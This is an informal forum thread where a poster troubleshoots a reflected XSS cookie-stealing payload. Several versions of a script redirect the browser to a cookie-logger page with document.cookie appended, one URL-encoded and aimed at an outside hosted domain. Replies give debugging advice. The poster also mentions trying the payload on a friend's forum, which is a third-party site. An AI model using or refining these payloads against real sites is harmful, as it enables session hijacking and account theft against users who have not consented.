Help with My XSS

Ive been recently playing around with a little web page i set up on my other computer and playing around with the effects of XSS

I have a basic search bar and made it vuln to XSS

what I put in the search bar redirects it to my cookie logger

the problem is its not logging the cookies…..Im using system meltdowns cookie stealer and I have changed the permisions so it can read and write by anyone….

<script>window.location=""http://localhost/xss/cookie.php?cookie="+document.cookie;</script>

thats the code im puting into my search bar it sends me to my page and my cookie grabber but it wont grab the cookie solutions ideas anyone?

and yes I have cookies enabled and it tells me the referer just not the cookie =(

and yes Ive read alot through google and milw0rm about xss

is that it exaclty? do you walways put two " at the start?

lmao

k i took that out and it still just logs the referrer but not the cookie

if the logger wis written right, it should just grab and store the cookie POST_ variable.

write a test script that jut echo's it.

form there you can change it in increments so you know what's fucked

http://localhostf/db/searchdb.html?iname=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fasaasd9.100webspace.net%2Fxss%2Fcookie.php%3Fvar%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E

thats what im getting for the referrer and still no cookie though just the ip date and referrer anymore suggestions =0

assuming I was using it in the right spot insidious it didnt work =(

I put the () escape function

here <script>window.location=('http://localhostowns/xss/cookie.php?var=')+document.cookie;</script>

I then went on to put them on the document.cookie and it still didnt do anything sighs

… And your cookies work correctly? :right:

i dunno I think I just suck….. it wont grab the cookie from my friends forum either =(

I think the reason its not working is because its redirecting to my cookie grabber and that makes the grabber think its grabbing the cookie from my page set up and theres no cookies for that page

thoughts?

Don't redirect!